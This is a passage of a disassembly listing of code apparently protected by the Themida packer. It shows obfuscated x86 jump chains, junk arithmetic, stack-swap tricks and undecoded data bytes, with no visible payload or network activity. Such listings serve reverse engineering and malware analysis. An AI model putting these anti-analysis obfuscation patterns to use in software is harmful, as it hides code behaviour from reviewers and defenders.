		dd 0FFFAB2E9h, 0E9565DFFh, 0FFFFF8D7h, 3A80B951h, 0E9815EB3h
		dd 5EB33A7Ch, 72A3EB81h, 0CB013835h, 72A3C381h,	0B1E93835h
		dd 1FFFFEFh, 0D5C681C6h, 58550847h, 4BDF68h, 24148900h
		dd 0BAE9E289h, 81000027h, 0CA79BBE7h, 772E936h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561632:				; CODE XREF: Themida_:00557A5Ej
		mov	ebx, ebp
		pop	ebp
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_565910
; ---------------------------------------------------------------------------
		dd 53240C89h, 36E9F8B7h, 81000030h, 0BF644AC5h,	33BA524Ch
		dd 8161A478h, 0E311C7C5h, 12ED8144h, 2956F002h,	12C581D5h
		dd 8156F002h, 0E311C7EDh, 24148B44h, 4C481h, 0C6810000h
		dd 316373CBh, 6FD2C681h, 0EE015763h, 6FD2EE81h,	0EE815763h
		dd 316373CBh, 0FFF73DE9h, 0C83B66FFh, 44E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5616AA:				; CODE XREF: Themida_:005623C4j
		mov	ebp, 44071893h
		push	edx
		mov	edx, 0BBF8E78Dh
		mov	ebx, edx
		pop	edx
		add	ebx, ebp
		pop	ebp
		sub	ebx, 4F9A11A3h
		add	ebx, edi
		push	esi
		mov	esi, 0BE238A1h
		not	esi
		add	esi, 5B7C4A45h
		add	ebx, esi
		jmp	loc_555838
; ---------------------------------------------------------------------------


loc_5616D8:				; CODE XREF: Themida_:0055EEA8j
		xchg	ecx, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_566A0F
; ---------------------------------------------------------------------------
aIth?5		db '‰âh?5',0
		dw 8900h
		dd 0D5E92404h, 5BFFFF51h, 1C2DBB53h, 70E969A2h,	81FFFF89h
		dd 2766EEC5h, 8BE95033h, 5400003Fh, 0FF8161E9h,	241C87FFh
		dd 0FF609AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561725:				; CODE XREF: Themida_:0055B09Aj
		pop	eax
		mov	ebx, esi
		jmp	loc_554430
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 52916257h, 0FF0128E9h, 243C8BFFh, 0FFAE09E9h, 0D6F746FFh
		dd 0E904EEC1h, 0FFFF65BAh, 8246C29h, 0E8E95D5Dh
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561757:				; CODE XREF: Themida_:005653E0j
		pop	esp
		jmp	loc_566566
; ---------------------------------------------------------------------------


loc_56175D:				; CODE XREF: Themida_:00565D1Dj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55A47A
; ---------------------------------------------------------------------------


loc_56178A:				; CODE XREF: Themida_:00559F21j
		mov	edx, 61B8306Ah
		sub	ecx, edx
		pop	edx
		pop	esi
		shr	ecx, 8
		push	eax
		mov	eax, 333A696Fh
		jmp	loc_55A502
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0FFh
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5617A7:				; CODE XREF: Themida_:00552643j
		push	edx
		mov	edx, 1B754098h
		jmp	loc_553ECB
; ---------------------------------------------------------------------------


loc_5617B2:				; CODE XREF: Themida_:00561C50j
		push	7D45h
		mov	[esp], edx
		push	ebx
		jmp	loc_55F1D3
; ---------------------------------------------------------------------------
		dd 0E6C095B6h, 0F6DEF603h, 2582E9DEh, 0E9530000h, 0FFFFAAE7h
		dd 8959C829h, 837E9C3h,	0C6810000h, 7CCDCDFAh, 815EF589h
		dd 0CE7A2FEDh, 5DE9013Ah, 5AFBEB81h, 0CB0130ABh, 0FFCC66E9h
		dd 7D0A05FFh, 7D0542EEh, 2929FA47h, 477D2DD8h, 0A2D29FAh
		dd 2D42EE7Dh, 290727D1h, 3AA768h, 240C8900h, 5A4A1DB9h
		dd 17E18117h, 8118D464h, 0DA7E42C1h, 0C1D9F77Ch, 0F18108E1h
		dd 0DC189E82h, 0FF0074E9h, 243C89FFh, 2E0C65BFh, 5FFD8924h
		dd 0C106E5C1h, 96E903E5h, 52FFFF6Dh, 15A1E9h, 241C8B00h
		dd 2344E9h, 0E2895200h,	0FF65E9E9h, 5AD689FFh, 2532E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561876:				; CODE XREF: Themida_:00563977j
		xchg	eax, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		jmp	loc_552716
; ---------------------------------------------------------------------------


loc_561887:				; CODE XREF: Themida_:0055DF58j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_558171
; ---------------------------------------------------------------------------
		dd 4C481h, 56660000h, 4EC8155h,	89000000h, 8D68243Ch, 8900000Dh
		dd 68662404h, 58666934h, 66D8F766h, 66EF4235h, 0FBE9C789h
		dd 8BFFFF17h, 48F2424h,	89575C24h, 6250E9E7h, 74FFFFFFh
		dd 34FF0424h, 243C8B24h, 4C481h, 0C4810000h, 4,	5C24048Fh
		dd 24048B66h, 8904EC83h, 0E189240Ch, 4BB53h, 0CE90000h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56190F:				; CODE XREF: Themida_:00566A81j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		jmp	loc_55B82E
; ---------------------------------------------------------------------------


loc_561929:				; CODE XREF: Themida_:00554CD7j
		xor	[esp], esi
		push	dword ptr [esp]
		pop	eax
		push	edx
		sub	esp, 4
		jmp	loc_565967
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 61h
		dd 81682641h, 67076EDh,	5DE8312Eh, 0E905E8C1h, 0FFFF7D22h
; ---------------------------------------------------------------------------


loc_561950:				; CODE XREF: Themida_:00557088j
		xor	eax, ebx
		jmp	loc_55F6F5
; ---------------------------------------------------------------------------


loc_561957:				; CODE XREF: Themida_:00559B98j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55404A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 5224248Bh, 0C281E289h, 4, 0C256E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56197A:				; CODE XREF: Themida_:0055A4B0j
		xor	ecx, ebp
		jmp	loc_55B5BB
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F7010000h, 0FF4049E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56198D:				; CODE XREF: Themida_:00554EF9j
		pop	edx
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	7C5Ah
		mov	[esp], ecx
		jmp	loc_55C76E
; ---------------------------------------------------------------------------
		dd 0ED8017B5h, 0FDCD80F5h, 96B35366h, 8B66DD28h, 6850241Ch
		dd 6E13h, 81242489h, 42404h, 5580000h, 4, 205h,	24048700h
		dd 0FF5763E9h, 815E5DFFh, 4C6h,	11FE6800h, 1C890000h, 11A1E924h
		dd 57AD0000h, 321968h, 24048900h, 27E36855h, 0B8E91BF5h
		dd 59000051h, 418DC681h, 0EE0152C4h, 0FF8471E9h, 148B66FFh
		dd 9B685624h, 89000072h, 0BF572424h, 4,	4247C01h, 24348B5Fh
		dd 9056E955h, 0CF2DFFFFh, 0E97EBB72h, 0FFFFBE9Fh, 24048966h
		dd 0FEFCA9E9h, 0B3E957FFh
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561A4B:				; CODE XREF: Themida_:0055EEC5j
		add	esi, 4F672A05h
		or	esi, 4CDA22E3h
		jmp	loc_5592B0
; ---------------------------------------------------------------------------
		dd 49CBC781h, 0DFF753B4h, 534DC781h, 0FE01A81Ah, 52D6E95Fh
		dd 0EDC1FFFFh, 22F58104h, 536B4D08h, 44406DBBh,	0B9EB8117h
		dd 0E946B83Eh, 0FFFF2A0Ah, 6A5E1FBFh, 4EFC10Fh,	7875CF81h
		dd 0E7813979h, 63083941h, 463DC781h, 0C7811910h, 655BEEBh
		dd 0E95FF989h, 0FFFFFD20h
; ---------------------------------------------------------------------------


loc_561AB4:				; CODE XREF: Themida_:0055AB7Dj
		mov	eax, 3461781Eh
		jmp	loc_554841
; ---------------------------------------------------------------------------


loc_561ABE:				; CODE XREF: Themida_:0055B6DEj
		pop	eax
		add	ecx, 27E51CA4h
		sub	ecx, 7FC71ECAh
		jmp	loc_55A913
; ---------------------------------------------------------------------------
		dd 0E2D0D1B2h, 0E956C280h, 0FFFFA780h, 4BDh, 5DE90100h
		dd 0FF4D04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561AE9:				; CODE XREF: Themida_:0055C671j
		sub	edx, eax
		add	edx, 7F4718F5h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0E904C483h, 0FFFF2D01h, 2434875Dh, 0E189515Ch
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 4C481h, 0EDE90000h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B2F:				; CODE XREF: Themida_:00556778j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56332A
; ---------------------------------------------------------------------------
		db 0BAh, 2Bh, 77h
		dd 0FCE916F1h, 5E00001Ah, 514DE9h
		db 0
; ---------------------------------------------------------------------------


loc_561B55:				; CODE XREF: Themida_:0055A746j
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55DE38
; ---------------------------------------------------------------------------
		align 4
		dd 0F88CE9F8h, 0C181FFFFh, 4, 5C240C87h, 522168h, 24048900h
		dd 0E9E38953h, 0FFFFFA68h, 0CA81EAD1h, 6C6F01BCh, 7ABF574Ah
		dd 557EEF15h, 2B3197BDh, 5DEF3113h, 708CE781h, 0C78116E0h
		dd 188E5B1Ah, 2BE9FA01h, 5E000024h, 0FF9221E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561BB9:				; CODE XREF: Themida_:0055B643j
		xchg	ecx, [esp]
		jmp	loc_552FD7
; ---------------------------------------------------------------------------


loc_561BC1:				; CODE XREF: Themida_:00556FEBj
		mov	ecx, 447A6719h
		jmp	loc_556080
; ---------------------------------------------------------------------------


loc_561BCB:				; CODE XREF: Themida_:00552E47j
		dec	bh
		xor	bh, 1Bh
		jmp	loc_55F89D
; ---------------------------------------------------------------------------
aH8		db '])ÐhÇ8',0
		dd 241C8900h, 0E1195EBBh, 98EB8178h, 562BAEF2h,	0FF80E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561BF1:				; CODE XREF: Themida_:005525CBj
		xor	ebx, 53D5CF0Ch
		jmp	loc_565BAC
; ---------------------------------------------------------------------------
		dd 50241C89h, 10E9B8B4h, 81FFFF30h, 3C86242Ch, 4B5B65DEh
		dd 0EA08EB81h, 60E9FFA2h, 31FFFF52h, 0C33240Ch,	0ABB5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C26:				; CODE XREF: Themida_:0055A3C7j
		push	edx
		mov	edx, 5CA62AB2h
		and	edx, 6FBF2709h
		shl	edx, 8
		push	eax
		mov	eax, 7ED33F85h
		neg	eax
		not	eax
		dec	eax
		jmp	loc_554708
; ---------------------------------------------------------------------------


loc_561C45:				; CODE XREF: Themida_:0055BFAAj
		shl	cl, 5
		xor	cl, 0F7h
		add	bl, 0B0h
		add	bl, cl
		jmp	loc_5617B2
; ---------------------------------------------------------------------------
		db 0BFh, 0F3h, 0Dh
		dd 0EF816571h, 65710DEFh, 835FFB01h, 1C8704C3h,	9C7EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C6E:				; CODE XREF: Themida_:00566492j
		add	ebp, eax
		sub	ebp, 0D4618Bh
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_555776
; ---------------------------------------------------------------------------
		db 5, 0ECh, 18h
		dd 62D4E3Eh, 5764D40h, 4F90189Ah, 7F55685Ah, 0C890000h
		dd 4B924h, 572D0000h, 5203172h,	625754BDh, 4268C801h, 0E9000031h
		dd 1213h, 83952CACh, 1C8904ECh,	0E9BCB724h, 0FFFF420Bh
		dd 8703E3C1h, 0D3E952D3h, 59FFFF61h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68241C89h, 3555h, 0E9242489h, 32E8h, 0E95DEB31h
		dd 2AADh, 0D71B0305h, 58C20161h, 4406F281h, 0C281209Fh
		dd 157EF362h, 2C35E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D1A:				; CODE XREF: Themida_:0055FF33j
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_563FEF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 94682404h, 89000007h, 0E589242Ch, 4C581h, 68510000h
		dd 2, 49506859h, 4890000h, 7867B824h, 0E9567A97h, 0FFFF0AA7h
		dd 8B2434FFh, 0C4832404h, 4C48304h, 8904EC83h, 0FF542404h
		dd 81582434h, 4C4h, 40500h, 64680000h, 89000037h, 5556241Ch
		dd 742E71BDh, 0E9EE8904h, 0FFFFB759h, 87664566h, 664766EFh
		dd 9DBB6653h, 2033E935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D9E:				; CODE XREF: Themida_:0055F522j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 361377EAh
		push	edx
		mov	edx, 98121B1h
		jmp	loc_555EED
; ---------------------------------------------------------------------------
aBIThik		db 'É',7,'I+ThëK',0
		align 2
		dw 2C89h
		dd 0BD5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561DCA:				; CODE XREF: Themida_:00564C2Cj
		push	46B9h
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		sub	edi, 2D7F7113h
		add	edi, esi
		add	edi, 2D7F7113h
		pop	esi
		jmp	loc_557C88
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 27C5F3Ch, 0B722C581h, 0EE310C74h, 0CE9465Dh,	81FFFF8Eh
		dd 0FFFFFFC7h, 83F781FFh, 18DD6BDh, 243C8BF9h, 23A8E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561E1A:				; CODE XREF: Themida_:00563FFBj
		push	edi
		mov	edi, 7FE30D15h
		neg	edi
		and	edi, 352C1174h
		push	ecx
		mov	ecx, 4A4A64BDh
		jmp	loc_56127A
; ---------------------------------------------------------------------------


loc_561E33:				; CODE XREF: Themida_:00552914j
		mov	ecx, 4D9C30A4h
		push	edx
		mov	edx, 338322E2h
		sub	edx, 1D0EF80Ch
		xor	ecx, edx
		jmp	loc_55C9CD
; ---------------------------------------------------------------------------


loc_561E4B:				; CODE XREF: Themida_:00562243j
		pop	eax
		push	edx
		mov	edx, 4
		push	ebx
		jmp	loc_564904
; ---------------------------------------------------------------------------
		dd 0C133E954h, 0C789FFFFh, 8324048Bh, 64E904C4h, 0F7FFFEFAh
		dd 0C682E9D7h, 0C7FEFFFFh, 0FF3A51E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561E79:				; CODE XREF: Themida_:00560252j
		push	edx
		mov	edx, 3AF70D26h
		jmp	loc_5577D7
; ---------------------------------------------------------------------------
		dd 0D4E95854h, 81FFFF02h, 0FB71B4E9h, 25E4E955h, 3C8B0000h
		dd 0BB3CE924h, 0FB01FFFFh, 0FF88C5E9h, 48B66FFh, 9765E924h
		dd 534AFFFFh, 867C2BBh,	0FAEB813Bh, 0E932C141h,	0FFFFA109h
; ---------------------------------------------------------------------------


loc_561EC0:				; CODE XREF: Themida_:00555788j
		push	edx
		mov	dh, al
		jmp	loc_55A054
; ---------------------------------------------------------------------------
		dd 86B9515Bh, 8142C74Fh, 2EC2CE9h, 0E9CD2927h, 0FFFF7223h
		dd 44B9BB53h, 0DD01182Eh, 0E9241C8Bh, 0FFFF8BD8h
; ---------------------------------------------------------------------------


loc_561EEC:				; CODE XREF: Themida_:005633E3j
		push	2806h
		mov	[esp], esi
		jmp	loc_5585D4
; ---------------------------------------------------------------------------
		db 29h,	0E8h, 5
		dd 79659FBh, 45719E2Dh,	48B02D36h, 0B9E973D6h, 50FFFFA7h
		dd 0A91E7AB8h, 24448165h, 0E634A104h, 0AEB3E908h, 815DFFFFh
		dd 0E174E0F2h, 0E9D50940h, 0FFFF4F79h
; ---------------------------------------------------------------------------


loc_561F30:				; CODE XREF: Themida_:0055F873j
		push	6DEBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55EDFF
; ---------------------------------------------------------------------------
		db 34h,	22h, 80h
		dd 0C32872C3h, 0FF6439E9h, 246C81FFh, 9C1D9704h, 685B5A03h
		dd 0DD3h, 0E43E9h, 4D02800h, 0F7E95A09h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F77:				; CODE XREF: Themida_:0055E88Dj
		add	ecx, ebx
		jmp	loc_551819
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 23C8E924h, 8158FFFFh, 4ECh, 3E70E900h, 468FFFFh, 8B000000h
		dd 0C483242Ch, 0A05FE904h, 0C89FFFFh, 6AF5E924h, 0F9B9FFFFh
		dd 81292648h, 39E0B4C1h, 8BCB31D8h, 0C483240Ch,	5BDD0104h
		dd 46856h, 34FF0000h, 0BA49E924h, 2BDFFFFh, 1000000h, 14875DEAh
		dd 0CD35C24h, 0BE99C24h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561FE3:				; CODE XREF: Themida_:005573E7j
		push	ecx
		mov	ecx, 4
		jmp	loc_55EC0A
; ---------------------------------------------------------------------------


loc_561FEE:				; CODE XREF: Themida_:005630DCj
		sub	edi, 54993F5Ch
		shl	edi, 7
		xor	edi, 6D5AB17Bh
		jmp	loc_5654E4
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 146568h, 240C8900h, 442BE9h, 24048B00h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0EFE9240Ch, 59FFFEFEh, 60E95451h
		dd 0C1FFFF59h, 2BE907E6h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56203F:				; CODE XREF: Themida_:00560427j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55A5C9
; ---------------------------------------------------------------------------
		db 5, 0Ah, 0B9h
		dd 0C729DED7h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, 240B3C5Ah
		add	ebp, edi
		sub	ebp, 240B3C5Ah
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 6B744A65h
		push	4B01h
		mov	[esp], ebp
		mov	ebp, 7BA03E7Ch
		add	ecx, ebp
		pop	ebp
		jmp	loc_553573
; ---------------------------------------------------------------------------
		dd 0EA00BEB5h, 5AD08859h, 88C7B050h, 24048BC7h,	4C481h
		dd 0EF800000h, 10EF80A0h, 288EEF80h, 2C16E9C7h,	2B89FFFFh
		dd 0FF2434FFh, 835B2434h, 0C48104C4h, 4, 0FF9C00E9h, 2A4968FFh
		dd 34890000h, 12D5BE24h, 0EE812D12h, 0B60EA292h, 55EF001h
		dd 0CF76FFDh, 0E056512Dh, 5D82938h, 38E05651h, 0F76FFD2Dh
		dd 70432D0Ch, 142D7703h, 813D1052h, 4ECh, 24148900h, 2025E9h
		db 0
; ---------------------------------------------------------------------------


loc_562121:				; CODE XREF: Themida_:0055F839j
		and	ch, bh
		pop	ebx
		inc	ch
		push	small 4E12h
		mov	[esp], ax
		mov	al, ch
		push	ax
		dec	byte ptr [esp]
		jmp	loc_562F8D
; ---------------------------------------------------------------------------


loc_56213A:				; CODE XREF: Themida_:00563AA4j
		pop	ebp
		pop	edx
		push	esi
		mov	esi, 7EB23160h
		jmp	loc_55A54B
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 240C8900h, 0FFADDBE9h, 0B9515AFFh
		dd 38651F81h, 1132E9h, 24348B00h, 0FFC3FFE9h, 133BBEFFh
		dd 0F6817B4Dh, 0C0312AE7h, 15EF531h, 0B8505DEAh, 7416695Ch
		dd 2D06E8C1h, 0FFFFFFFFh, 48AB2505h, 58C20104h,	0DA9E9h
		dd 4C68100h, 81000000h,	4C6h, 24348700h, 0D4E9555Ch
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621AF:				; CODE XREF: Themida_:005593E9j
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		push	4A5E5BB9h
		pop	edi
		jmp	loc_554D83
; ---------------------------------------------------------------------------
		dd 62DC68h, 241C8900h, 0EF80B7B7h, 0E9F8284Eh, 43C7h, 5B2434FFh
		dd 6804C483h, 1D0Bh, 52240C89h,	0FF1471E9h, 23C680FFh
		dd 5EE9682Ch
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_562203:				; CODE XREF: Themida_:00560736j
		mov	bl, 0EDh
		add	al, 5Eh
		sub	al, bl
		jmp	loc_55A828
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4838601Ch, 0FF5B6EE9h, 348157FFh, 0C015BA24h, 0BD555B33h
		dd 33C015BAh, 0FFFACBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56222D:				; CODE XREF: Themida_:0055A389j
		mov	[esp], eax
		push	7ABh
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_561E4B
; ---------------------------------------------------------------------------
		dd 0EE9CF31h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56224F:				; CODE XREF: Themida_:00558204j
		and	eax, 17F4540Bh
		not	eax
		neg	eax
		push	ebx
		mov	ebx, 6B045261h
		or	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 0CDC2CDCh
		jmp	loc_56323E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D1E92424h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56227B:				; CODE XREF: Themida_:00552B81j
		or	eax, 118468F2h
		xor	eax, 6AA23619h
		sub	edi, eax
		pop	eax
		jmp	loc_55C857
; ---------------------------------------------------------------------------


loc_56228D:				; CODE XREF: Themida_:0056550Dj
		or	ecx, edi
		jmp	loc_558D44
; ---------------------------------------------------------------------------


loc_562294:				; CODE XREF: Themida_:0055C29Ej
		push	ecx
		jmp	loc_565B34
; ---------------------------------------------------------------------------


loc_56229A:				; CODE XREF: Themida_:0055CFF3j
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		not	ecx
		xchg	ecx, edi
		push	edi
		jmp	loc_564A27
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 41E95DEEh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622B7:				; CODE XREF: Themida_:0055F62Fj
		xchg	ecx, edi
		jmp	loc_55972E
; ---------------------------------------------------------------------------
		dw 0C889h
		dd 81240C8Bh, 4C4h, 0FFC70100h,	0E2E92434h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5622D3:				; CODE XREF: Themida_:005564D0j
		push	0F1C4A682h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5542BD
; ---------------------------------------------------------------------------


loc_5622E3:				; CODE XREF: Themida_:00566567j
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55D895
; ---------------------------------------------------------------------------


loc_5622EF:				; CODE XREF: Themida_:0056622Aj
		push	ebp
		mov	ebp, 2305F4Fh
		add	edx, ebp
		pop	ebp
		push	dword ptr [edx]
		jmp	loc_55C3C0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 242C3304h, 33242C31h, 0D25C242Ch, 0E99C243Ch
		dd 0FFFEF3D6h, 370476B8h, 22EB8117h, 0E954E36Ah, 0FFFF2D1Fh
		dd 2C8BEF89h, 4C48124h,	81000000h, 4E11D6C6h, 81C6814Bh
		dd 118CD08h, 4EC81FEh, 89000000h, 89BD242Ch, 4D08FD2Bh
		dd 2309F581h, 0BA521030h, 0C9D18B4h, 0E905E2C1h, 0FFFFC5BAh
		dd 0FFEE8366h, 0E1BF6657h, 6014E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562372:				; CODE XREF: Themida_:00564426j
		push	eax
		mov	eax, 2ED11540h
		not	eax
		shr	eax, 8
		jmp	loc_55F964
; ---------------------------------------------------------------------------


loc_562382:				; CODE XREF: Themida_:0055E7EEj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	ebx, ebx
		jnz	loc_5518F6
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 17F97BF6h
		shr	edx, 7
		and	edx, 5FF067DDh
		add	edx, 0FFDF9D2Fh
		add	eax, edx
		pop	edx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		jmp	loc_5616AA
; ---------------------------------------------------------------------------
		db 0BBh, 0D4h, 44h
		dd 0F7E96250h, 5DFFFFC8h, 1D43EE81h, 335B5DBBh,	34312434h
		dd 24343324h, 0D324248Bh, 0FFE92424h, 87FFFEF2h, 81D3F7CBh
		dd 5866E6EBh, 315AE910h, 77FFFFFFh, 19589D1Ch, 0E99C2404h
		dd 0FFFEF2E2h, 5C5C68h,	17FDE900h, 0D501FFFFh, 0FEFD9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56241D:				; CODE XREF: Themida_:0056124Dj
		mov	edi, 58A44CFEh
		jmp	loc_5585E1
; ---------------------------------------------------------------------------


loc_562427:				; CODE XREF: Themida_:0055B886j
		pop	ebx
		jmp	loc_557AC3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aH9		db '$h~9',0
		align 2
		dw 1C89h
		dd 24E95424h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56243F:				; CODE XREF: Themida_:00564475j
		add	esi, 4
		push	ebp
		jmp	loc_558123
; ---------------------------------------------------------------------------
		db 88h
		dd 8B5A59CBh, 0C481240Ch, 4, 34FFDA28h,	0C4815B24h, 4
		dd 0FF6906E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562469:				; CODE XREF: Themida_:0055B36Fj
		add	edi, 6E79EDCh
		jmp	loc_55DEA1
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFEAC5h
; ---------------------------------------------------------------------------


loc_56247C:				; CODE XREF: Themida_:00558613j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	eax, ecx
		inc	eax
		not	eax
		xor	eax, 48DF5A35h
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5648C4
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6E719ABh, 0FF09D7E9h, 240483FFh, 0C2815A04h,	4, 2D7FE9h
		dd 24348B00h, 4C481h, 0FE890000h, 81243C8Bh, 4C4h, 24740100h
		dd 148B5E04h, 0D3EDE924h, 0F381FFFFh, 2006D57h,	15BD989h
		dd 0B1E959C8h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5624FB:				; CODE XREF: Themida_:0055A50Dj
		mov	edx, 47F43681h
		add	ecx, edx
		pop	edx
		push	25ABh
		mov	[esp], ecx
		xchg	ebp, [esp]
		not	ebp
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, 793103C6h
		not	edi
		sub	edi, 9BA52705h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		jmp	loc_55AF9A
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0AFh
		dd 53FFFF01h, 4BBh, 5BDE0100h, 0E904C683h, 0FFFF7C18h
; ---------------------------------------------------------------------------


loc_562560:				; CODE XREF: Themida_:00566352j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55E43A
; ---------------------------------------------------------------------------


loc_56256E:				; CODE XREF: Themida_:005578B7j
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55B47A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24343300h, 0FF6A60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56258D:				; CODE XREF: Themida_:00555B05j
		sub	edi, 30D04180h
		add	edi, 80EE961Ch
		sub	esi, edi
		pop	edi
		pop	eax
